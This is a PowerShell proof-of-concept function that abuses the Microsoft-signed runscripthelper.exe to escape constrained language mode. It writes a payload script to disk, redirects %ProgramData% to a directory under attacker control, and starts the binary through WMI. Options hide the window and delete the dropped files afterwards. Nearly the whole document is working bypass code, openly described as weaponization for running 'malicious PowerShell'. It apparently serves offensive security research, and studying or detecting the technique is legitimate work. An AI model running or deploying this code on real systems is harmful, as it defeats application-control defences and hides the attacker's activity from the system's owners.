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PowerShell weaponization for the runscripthelper.exe constrained language mode bypass
function Invoke-RunScriptHelperExpression {
<#
.SYNOPSIS
Executes PowerShell code in full language mode in the context of runscripthelper.exe.
.DESCRIPTION
Invoke-RunScriptHelperExpression executes PowerShell code in the context of runscripthelper.exe - a Windows-signed PowerShell host application which appears to be used for telemetry collection purposes. The PowerShell code supplied will run in FullLanguage mode and bypass constrained language mode.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.PARAMETER ScriptBlock
Specifies the PowerShell code to execute in the context of runscripthelper.exe
.PARAMETER RootDirectory
Specifies the root directory where the "Microsoft\Diagnosis\scripts" directory structure will be created. -RootDirectory defaults to the current directory.
.PARAMETER ScriptFileName
Specifies the name of the PowerShell script to be executed. The script file can be any file extension. -ScriptFileName defaults to test.txt.
.PARAMETER HideWindow
Because Invoke-RunScriptHelperExpression launches a child process in a new window (due to how Win32_Process.Create works), -HideWindow launches a hidden window.
.EXAMPLE
$Payload = {
# Since this is running inside a console app,
# you need the Console class to write to the screen.
[Console]::WriteLine('Hello, world!')
$LanguageMode = $ExecutionContext.SessionState.LanguageMode
[Console]::WriteLine("My current language mode: $LanguageMode")
# Trick to keep the console window up
$null = [Console]::ReadKey()
}
Invoke-RunScriptHelperExpression -ScriptBlock $Payload
.OUTPUTS
System.Diagnostics.Process
Outputs a process object for runscripthelper.exe. This is useful if it later needs to be killed manually with Stop-Process.
#>
[CmdletBinding()]
[OutputType([System.Diagnostics.Process])]
param (
[Parameter(Mandatory = $True)]
[ScriptBlock]
$ScriptBlock,
[String]
[ValidateNotNullOrEmpty()]
$RootDirectory = $PWD,
[String]
[ValidateNotNullOrEmpty()]
$ScriptFileName = 'test.txt',
[Switch]
$HideWindow
)
$RunscriptHelperPath = "$Env:windir\System32\runscripthelper.exe"
# Validate that runscripthelper.exe is present
$null = Get-Item -Path $RunscriptHelperPath -ErrorAction Stop
# Optional: Since not all systems will have runscripthelper.exe, you could compress and
# encode the binary here and then drop it. That's up to you. This is just a PoC.
$ScriptDirFullPath = Join-Path -Path (Resolve-Path -Path $RootDirectory) -ChildPath 'Microsoft\Diagnosis\scripts'
Write-Verbose "Script will be saved to: $ScriptDirFullPath"
# Create the directory path expected by runscripthelper.exe
if (-not (Test-Path -Path $ScriptDirFullPath)) {
$ScriptDir = mkdir -Path $ScriptDirFullPath -ErrorAction Stop
} else {
$ScriptDir = Get-Item -Path $ScriptDirFullPath -ErrorAction Stop
}
$ScriptFullPath = "$ScriptDirFullPath\$ScriptFileName"
# Write the payload to disk - a requirement of runscripthelper.exe
Out-File -InputObject $ScriptBlock.ToString() -FilePath $ScriptFullPath -Force
$CustomProgramFiles = "ProgramData=$(Resolve-Path -Path $RootDirectory)"
Write-Verbose "Using the following for %ProgramData%: $CustomProgramFiles"
# Gather up all existing environment variables except %ProgramData%. We're going to supply our own, attacker controlled path.
[String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:\* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }
# Attacker-controlled %ProgramData% being passed to the child process.
$AllEnvVarsExceptLockdownPolicy += $CustomProgramFiles
# These are all the environment variables that will be explicitly passed on to runscripthelper.exe
$StartParamProperties = @{ EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy }
$Hidden = [UInt16] 0
if ($HideWindow) { $StartParamProperties['ShowWindow'] = $Hidden }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
$RunscriptHelperCmdline = "$RunscriptHelperPath surfacecheck \\?\$ScriptFullPath $ScriptDirFullPath"
Write-Verbose "Invoking the following command: $RunscriptHelperCmdline"
# Give runscripthelper.exe what it needs to execute our malicious PowerShell.
$Result = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $RunscriptHelperCmdline
ProcessStartupInformation = $StartParams
}
if ($Result.ReturnValue -ne 0) {
throw "Failed to start runscripthelper.exe"
return
}
$Process = Get-Process -Id $Result.ProcessId
$Process
# When runscripthelper.exe exits, clean up the script and the directories.
# I'm using proper eventing here because if you immediately delete the script from
# disk then it will be gone before runscripthelper.exe has an opportunity to execute it.
$Event = Register-ObjectEvent -InputObject $Process -EventName Exited -SourceIdentifier 'RunscripthelperStopped' -MessageData "$RootDirectory\Microsoft" -Action {
Remove-Item -Path $Event.MessageData -Recurse -Force
Unregister-Event -SourceIdentifier $EventSubscriber.SourceIdentifier
}
}
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